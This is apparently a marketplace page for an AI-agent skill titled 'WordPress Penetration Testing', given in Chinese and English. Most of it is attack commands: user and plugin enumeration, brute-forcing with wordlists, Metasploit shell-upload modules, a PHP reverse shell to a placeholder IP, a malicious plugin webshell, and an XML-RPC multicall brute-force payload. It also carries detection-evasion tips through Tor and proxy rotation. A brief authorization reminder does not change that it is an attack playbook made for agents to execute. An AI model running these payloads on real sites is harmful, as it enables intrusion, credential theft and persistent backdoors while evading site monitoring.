WordPress渗透测试指南：WPScan工具使用、漏洞扫描与安全评估方法

WordPress Penetration Testing by zebbern/claude-code-guide

3,800 GitHub Stars

GitHub

安装命令

npx skills add https://github.com/zebbern/claude-code-guide --skill 'WordPress Penetration Testing'

测试安全 WordPress

🇨🇳中文介绍

WordPress 渗透测试

目的

对 WordPress 安装进行全面的安全评估，包括用户、主题和插件的枚举、漏洞扫描、凭证攻击和利用技术。WordPress 为大约 35% 的网站提供支持，使其成为安全测试的关键目标。

先决条件

必需工具

WPScan（Kali Linux 中预装）
Metasploit Framework
Burp Suite 或 OWASP ZAP
用于初始发现的 Nmap
cURL 或 wget

必需知识

WordPress 架构和结构
Web 应用程序测试基础知识
HTTP 协议理解
常见 Web 漏洞（OWASP Top 10）

输出和交付物

WordPress 枚举报告 - 版本、主题、插件、用户
漏洞评估 - 已识别的 CVE 和错误配置
凭证评估 - 弱密码发现
利用证明 - Shell 访问文档

核心工作流程

阶段 1：WordPress 发现

识别 WordPress 安装：

# 检查 WordPress 指示器
curl -s http://target.com | grep -i wordpress
curl -s http://target.com | grep -i "wp-content"
curl -s http://target.com | grep -i "wp-includes"

# 检查常见 WordPress 路径
curl -I http://target.com/wp-login.php
curl -I http://target.com/wp-admin/
curl -I http://target.com/wp-content/
curl -I http://target.com/xmlrpc.php

# 检查元生成器标签
curl -s http://target.com | grep "generator"

# Nmap WordPress 检测
nmap -p 80,443 --script http-wordpress-enum target.com

广告位招租

在这里展示您的产品或服务

触达数万 AI 开发者，精准高效

联系我们

阶段 2：基本 WPScan 枚举

使用 WPScan 进行全面的 WordPress 扫描：

# 基本扫描
wpscan --url http://target.com/wordpress/

# 使用 API 令牌（用于漏洞数据）
wpscan --url http://target.com --api-token YOUR_API_TOKEN

# 主动检测模式
wpscan --url http://target.com --detection-mode aggressive

# 输出到文件
wpscan --url http://target.com -o results.txt

# JSON 输出
wpscan --url http://target.com -f json -o results.json

# 详细输出
wpscan --url http://target.com -v

阶段 3：WordPress 版本检测

识别 WordPress 版本：

# WPScan 版本检测
wpscan --url http://target.com

# 手动版本检查
curl -s http://target.com/readme.html | grep -i version
curl -s http://target.com/feed/ | grep -i generator
curl -s http://target.com | grep "?ver="

# 检查元生成器
curl -s http://target.com | grep 'name="generator"'

# 检查 RSS 源
curl -s http://target.com/feed/
curl -s http://target.com/comments/feed/

HTML 中的元生成器标签
readme.html 文件
RSS/Atom 源
JavaScript/CSS 文件版本

阶段 4：主题枚举

识别已安装的主题：

# 枚举所有主题
wpscan --url http://target.com -e at

# 仅枚举易受攻击的主题
wpscan --url http://target.com -e vt

# 带检测模式的主题枚举
wpscan --url http://target.com -e at --plugins-detection aggressive

# 手动主题检测
curl -s http://target.com | grep "wp-content/themes/"
curl -s http://target.com/wp-content/themes/

主题漏洞检查：

# 搜索主题利用
searchsploit wordpress theme <theme_name>

# 检查主题版本
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
curl -s http://target.com/wp-content/themes/<theme>/readme.txt

阶段 5：插件枚举

识别已安装的插件：

# 枚举所有插件
wpscan --url http://target.com -e ap

# 仅枚举易受攻击的插件
wpscan --url http://target.com -e vp

# 主动插件检测
wpscan --url http://target.com -e ap --plugins-detection aggressive

# 混合检测模式
wpscan --url http://target.com -e ap --plugins-detection mixed

# 手动插件发现
curl -s http://target.com | grep "wp-content/plugins/"
curl -s http://target.com/wp-content/plugins/

要检查的常见易受攻击插件：

# 搜索插件利用
searchsploit wordpress plugin <plugin_name>
searchsploit wordpress mail-masta
searchsploit wordpress slideshow gallery
searchsploit wordpress reflex gallery

# 检查插件版本
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt

阶段 6：用户枚举

发现 WordPress 用户：

# WPScan 用户枚举
wpscan --url http://target.com -e u

# 枚举特定数量的用户
wpscan --url http://target.com -e u1-100

# 作者 ID 枚举（手动）
for i in {1..20}; do
    curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
done

# JSON API 用户枚举（如果启用）
curl -s http://target.com/wp-json/wp/v2/users

# REST API 用户枚举
curl -s http://target.com/wp-json/wp/v2/users?per_page=100

# 登录错误枚举
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php

阶段 7：全面枚举

运行所有枚举模块：

# 枚举所有内容
wpscan --url http://target.com -e at -e ap -e u

# 替代的全面扫描
wpscan --url http://target.com -e vp,vt,u,cb,dbe

# 枚举标志：
# at - 所有主题
# vt - 易受攻击的主题
# ap - 所有插件
# vp - 易受攻击的插件
# u  - 用户（1-10）
# cb - 配置备份
# dbe - 数据库导出

# 完全主动枚举
wpscan --url http://target.com -e at,ap,u,cb,dbe \
    --detection-mode aggressive \
    --plugins-detection aggressive

阶段 8：密码攻击

暴力破解 WordPress 凭证：

# 单用户暴力破解
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt

# 来自文件的多用户
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt

# 带密码攻击线程
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50

# XML-RPC 暴力破解（更快，可能绕过保护）
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc

# 带 API 限制的暴力破解
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500

# 创建目标词表
cewl http://target.com -w wordlist.txt
wpscan --url http://target.com -U admin -P wordlist.txt

密码攻击方法：

wp-login - 标准登录表单
xmlrpc - XML-RPC 多调用（更快）
xmlrpc-multicall - 每个请求多个密码

阶段 9：漏洞利用

Metasploit Shell 上传

# 启动 Metasploit
msfconsole

# 管理员 shell 上传
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS target.com
set USERNAME admin
set PASSWORD jessica
set TARGETURI /wordpress
set LHOST <your_ip>
exploit

# Slideshow Gallery 利用
use exploit/unix/webapp/wp_slideshowgallery_upload
set RHOSTS target.com
set TARGETURI /wordpress
set USERNAME admin
set PASSWORD jessica
set LHOST <your_ip>
exploit

# 搜索 WordPress 利用
search type:exploit platform:php wordpress

主题/插件编辑器（具有管理员访问权限）：

// 导航到 外观 > 主题编辑器
// 编辑 404.php 或 functions.php
// 添加 PHP 反向 shell：

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
?>

// 或使用 weevely 后门
// 通过以下方式访问：http://target.com/wp-content/themes/theme_name/404.php

插件上传方法：

# 创建恶意插件
cat > malicious.php << 'EOF'
<?php
/*
Plugin Name: Malicious Plugin
Description: Security Testing
Version: 1.0
*/
if(isset($_GET['cmd'])){
    system($_GET['cmd']);
}
?>
EOF

# 压缩并通过 插件 > 添加新插件 > 上传插件 上传
zip malicious.zip malicious.php

# 访问 webshell
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"

阶段 10：高级技术

# 检查 XML-RPC 是否启用
curl -X POST http://target.com/xmlrpc.php

# 列出可用方法
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php

# 通过 XML-RPC 多调用进行暴力破解
cat > xmlrpc_brute.xml << 'EOF'
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password2</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param>
</params>
</methodCall>
EOF

curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php

# 使用 Tor 代理
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050

# HTTP 代理
wpscan --url http://target.com --proxy http://127.0.0.1:8080

# Burp Suite 代理
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks

# 基本认证
wpscan --url http://target.com --http-auth admin:password

# 强制 SSL/TLS
wpscan --url https://target.com --disable-tls-checks

标志	描述
`-e at`	所有主题
`-e vt`	易受攻击的主题
`-e ap`	所有插件
`-e vp`	易受攻击的插件
`-e u`	用户（1-10）
`-e cb`	配置备份
`-e dbe`	数据库导出

常见 WordPress 路径

路径	用途
`/wp-admin/`	管理仪表板
`/wp-login.php`	登录页面
`/wp-content/uploads/`	用户上传
`/wp-includes/`	核心文件
`/xmlrpc.php`	XML-RPC API
`/wp-json/`	REST API

用途	命令
基本扫描	`wpscan --url http://target.com`
所有枚举	`wpscan --url http://target.com -e at,ap,u`
密码攻击	`wpscan --url http://target.com -U admin -P pass.txt`
主动模式	`wpscan --url http://target.com --detection-mode aggressive`

测试前获得书面授权
保持在定义的范围内
记录所有测试活动
遵循负责任的披露

WAF 可能阻止扫描
速率限制可能阻止暴力破解
某些插件可能有假阴性
XML-RPC 可能被禁用

使用随机用户代理：--random-user-agent
限制请求：--throttle 1000
使用代理轮换
在受监控的站点上避免使用主动模式

WPScan 显示无漏洞

使用 API 令牌访问漏洞数据库
尝试主动检测模式
检查 WAF 是否阻止扫描
验证 WordPress 是否实际安装

暴力破解被阻止

使用 XML-RPC 方法代替 wp-login
添加限制：--throttle 500
使用不同的用户代理
检查 IP 阻止/fail2ban

无法访问管理面板

验证凭证是否正确
检查双因素认证
查找 IP 白名单限制
检查登录 URL 更改（安全插件）

🇺🇸English

WordPress Penetration Testing

Purpose

Conduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.

Prerequisites

Required Tools

WPScan (pre-installed in Kali Linux)
Metasploit Framework
Burp Suite or OWASP ZAP
Nmap for initial discovery
cURL or wget

Required Knowledge

WordPress architecture and structure
Web application testing fundamentals
HTTP protocol understanding
Common web vulnerabilities (OWASP Top 10)

Outputs and Deliverables

WordPress Enumeration Report - Version, themes, plugins, users
Vulnerability Assessment - Identified CVEs and misconfigurations
Credential Assessment - Weak password findings
Exploitation Proof - Shell access documentation

Core Workflow

Phase 1: WordPress Discovery

Identify WordPress installations:

# Check for WordPress indicators
curl -s http://target.com | grep -i wordpress
curl -s http://target.com | grep -i "wp-content"
curl -s http://target.com | grep -i "wp-includes"

# Check common WordPress paths
curl -I http://target.com/wp-login.php
curl -I http://target.com/wp-admin/
curl -I http://target.com/wp-content/
curl -I http://target.com/xmlrpc.php

# Check meta generator tag
curl -s http://target.com | grep "generator"

# Nmap WordPress detection
nmap -p 80,443 --script http-wordpress-enum target.com

Key WordPress files and directories:

/wp-admin/ - Admin dashboard
/wp-login.php - Login page
/wp-content/ - Themes, plugins, uploads
/wp-includes/ - Core files
/xmlrpc.php - XML-RPC interface
/wp-config.php - Configuration (not accessible if secure)
/readme.html - Version information

Phase 2: Basic WPScan Enumeration

Comprehensive WordPress scanning with WPScan:

# Basic scan
wpscan --url http://target.com/wordpress/

# With API token (for vulnerability data)
wpscan --url http://target.com --api-token YOUR_API_TOKEN

# Aggressive detection mode
wpscan --url http://target.com --detection-mode aggressive

# Output to file
wpscan --url http://target.com -o results.txt

# JSON output
wpscan --url http://target.com -f json -o results.json

# Verbose output
wpscan --url http://target.com -v

Phase 3: WordPress Version Detection

Identify WordPress version:

# WPScan version detection
wpscan --url http://target.com

# Manual version checks
curl -s http://target.com/readme.html | grep -i version
curl -s http://target.com/feed/ | grep -i generator
curl -s http://target.com | grep "?ver="

# Check meta generator
curl -s http://target.com | grep 'name="generator"'

# Check RSS feeds
curl -s http://target.com/feed/
curl -s http://target.com/comments/feed/

Version sources:

Meta generator tag in HTML
readme.html file
RSS/Atom feeds
JavaScript/CSS file versions

Phase 4: Theme Enumeration

Identify installed themes:

# Enumerate all themes
wpscan --url http://target.com -e at

# Enumerate vulnerable themes only
wpscan --url http://target.com -e vt

# Theme enumeration with detection mode
wpscan --url http://target.com -e at --plugins-detection aggressive

# Manual theme detection
curl -s http://target.com | grep "wp-content/themes/"
curl -s http://target.com/wp-content/themes/

Theme vulnerability checks:

# Search for theme exploits
searchsploit wordpress theme <theme_name>

# Check theme version
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
curl -s http://target.com/wp-content/themes/<theme>/readme.txt

Phase 5: Plugin Enumeration

Identify installed plugins:

# Enumerate all plugins
wpscan --url http://target.com -e ap

# Enumerate vulnerable plugins only
wpscan --url http://target.com -e vp

# Aggressive plugin detection
wpscan --url http://target.com -e ap --plugins-detection aggressive

# Mixed detection mode
wpscan --url http://target.com -e ap --plugins-detection mixed

# Manual plugin discovery
curl -s http://target.com | grep "wp-content/plugins/"
curl -s http://target.com/wp-content/plugins/

Common vulnerable plugins to check:

# Search for plugin exploits
searchsploit wordpress plugin <plugin_name>
searchsploit wordpress mail-masta
searchsploit wordpress slideshow gallery
searchsploit wordpress reflex gallery

# Check plugin version
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt

Phase 6: User Enumeration

Discover WordPress users:

# WPScan user enumeration
wpscan --url http://target.com -e u

# Enumerate specific number of users
wpscan --url http://target.com -e u1-100

# Author ID enumeration (manual)
for i in {1..20}; do
    curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
done

# JSON API user enumeration (if enabled)
curl -s http://target.com/wp-json/wp/v2/users

# REST API user enumeration
curl -s http://target.com/wp-json/wp/v2/users?per_page=100

# Login error enumeration
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php

Phase 7: Comprehensive Enumeration

Run all enumeration modules:

# Enumerate everything
wpscan --url http://target.com -e at -e ap -e u

# Alternative comprehensive scan
wpscan --url http://target.com -e vp,vt,u,cb,dbe

# Enumeration flags:
# at - All themes
# vt - Vulnerable themes
# ap - All plugins
# vp - Vulnerable plugins
# u  - Users (1-10)
# cb - Config backups
# dbe - Database exports

# Full aggressive enumeration
wpscan --url http://target.com -e at,ap,u,cb,dbe \
    --detection-mode aggressive \
    --plugins-detection aggressive

Phase 8: Password Attacks

Brute-force WordPress credentials:

# Single user brute-force
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt

# Multiple users from file
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt

# With password attack threads
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50

# XML-RPC brute-force (faster, may bypass protection)
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc

# Brute-force with API limiting
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500

# Create targeted wordlist
cewl http://target.com -w wordlist.txt
wpscan --url http://target.com -U admin -P wordlist.txt

Password attack methods:

wp-login - Standard login form
xmlrpc - XML-RPC multicall (faster)
xmlrpc-multicall - Multiple passwords per request

Phase 9: Vulnerability Exploitation

Metasploit Shell Upload

After obtaining credentials:

# Start Metasploit
msfconsole

# Admin shell upload
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS target.com
set USERNAME admin
set PASSWORD jessica
set TARGETURI /wordpress
set LHOST <your_ip>
exploit

Plugin Exploitation

# Slideshow Gallery exploit
use exploit/unix/webapp/wp_slideshowgallery_upload
set RHOSTS target.com
set TARGETURI /wordpress
set USERNAME admin
set PASSWORD jessica
set LHOST <your_ip>
exploit

# Search for WordPress exploits
search type:exploit platform:php wordpress

Manual Exploitation

Theme/plugin editor (with admin access):

// Navigate to Appearance > Theme Editor
// Edit 404.php or functions.php
// Add PHP reverse shell:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
?>

// Or use weevely backdoor
// Access via: http://target.com/wp-content/themes/theme_name/404.php

Plugin upload method:

# Create malicious plugin
cat > malicious.php << 'EOF'
<?php
/*
Plugin Name: Malicious Plugin
Description: Security Testing
Version: 1.0
*/
if(isset($_GET['cmd'])){
    system($_GET['cmd']);
}
?>
EOF

# Zip and upload via Plugins > Add New > Upload Plugin
zip malicious.zip malicious.php

# Access webshell
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"

Phase 10: Advanced Techniques

XML-RPC Exploitation

# Check if XML-RPC is enabled
curl -X POST http://target.com/xmlrpc.php

# List available methods
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php

# Brute-force via XML-RPC multicall
cat > xmlrpc_brute.xml << 'EOF'
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password2</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param>
</params>
</methodCall>
EOF

curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php

Scanning Through Proxy

# Use Tor proxy
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050

# HTTP proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080

# Burp Suite proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks

HTTP Authentication

# Basic authentication
wpscan --url http://target.com --http-auth admin:password

# Force SSL/TLS
wpscan --url https://target.com --disable-tls-checks

Quick Reference

WPScan Enumeration Flags

Flag	Description
`-e at`	All themes
`-e vt`	Vulnerable themes
`-e ap`	All plugins
`-e vp`	Vulnerable plugins
`-e u`	Users (1-10)
`-e cb`	Config backups
`-e dbe`

Common WordPress Paths

Path	Purpose
`/wp-admin/`	Admin dashboard
`/wp-login.php`	Login page
`/wp-content/uploads/`	User uploads
`/wp-includes/`	Core files
`/xmlrpc.php`	XML-RPC API
`/wp-json/`	REST API

WPScan Command Examples

Purpose	Command
Basic scan	`wpscan --url http://target.com`
All enumeration	`wpscan --url http://target.com -e at,ap,u`
Password attack	`wpscan --url http://target.com -U admin -P pass.txt`
Aggressive	`wpscan --url http://target.com --detection-mode aggressive`

Constraints and Limitations

Legal Considerations

Obtain written authorization before testing
Stay within defined scope
Document all testing activities
Follow responsible disclosure

Technical Limitations

WAF may block scanning
Rate limiting may prevent brute-force
Some plugins may have false negatives
XML-RPC may be disabled

Detection Evasion

Use random user agents: --random-user-agent
Throttle requests: --throttle 1000
Use proxy rotation
Avoid aggressive modes on monitored sites

Troubleshooting

WPScan Shows No Vulnerabilities

Solutions:

Use API token for vulnerability database
Try aggressive detection mode
Check for WAF blocking scans
Verify WordPress is actually installed

Brute-Force Blocked

Solutions:

Use XML-RPC method instead of wp-login
Add throttling: --throttle 500
Use different user agents
Check for IP blocking/fail2ban

Cannot Access Admin Panel

Solutions:

Verify credentials are correct
Check for two-factor authentication
Look for IP whitelist restrictions
Check for login URL changes (security plugins)

Weekly Installs

–

Repository

zebbern/claude-…de-guide

GitHub Stars

3.8K

First Seen

–

Security Audits

Gen Agent Trust HubPass SocketWarn SnykFail

xdrop 文件传输脚本：Bun 环境下安全上传下载工具，支持加密分享

27,100 周安装

WordPress渗透测试指南：WPScan工具使用、漏洞扫描与安全评估方法

🇨🇳中文介绍

WordPress 渗透测试

目的

先决条件

必需工具

必需知识

输出和交付物

核心工作流程

阶段 1：WordPress 发现

相关 Skills

阶段 2：基本 WPScan 枚举

阶段 3：WordPress 版本检测

阶段 4：主题枚举

阶段 5：插件枚举

阶段 6：用户枚举

阶段 7：全面枚举

阶段 8：密码攻击

阶段 9：漏洞利用

Metasploit Shell 上传

插件利用

手动利用

阶段 10：高级技术

XML-RPC 利用

通过代理扫描

HTTP 认证

快速参考

WPScan 枚举标志

常见 WordPress 路径

WPScan 命令示例

约束和限制

法律考虑

技术限制

检测规避

故障排除

WPScan 显示无漏洞

暴力破解被阻止

无法访问管理面板

🇺🇸English

WordPress Penetration Testing

Purpose

Prerequisites

Required Tools

Required Knowledge

Outputs and Deliverables

Core Workflow

Phase 1: WordPress Discovery

Phase 2: Basic WPScan Enumeration

Phase 3: WordPress Version Detection

Phase 4: Theme Enumeration

Phase 5: Plugin Enumeration

Phase 6: User Enumeration

Phase 7: Comprehensive Enumeration

Phase 8: Password Attacks

Phase 9: Vulnerability Exploitation

Metasploit Shell Upload

Plugin Exploitation

Manual Exploitation

Phase 10: Advanced Techniques

XML-RPC Exploitation

Scanning Through Proxy

HTTP Authentication

Quick Reference

WPScan Enumeration Flags

Common WordPress Paths

WPScan Command Examples

Constraints and Limitations

Legal Considerations

Technical Limitations

Detection Evasion

Troubleshooting

WPScan Shows No Vulnerabilities

Brute-Force Blocked

Cannot Access Admin Panel

最新 Skills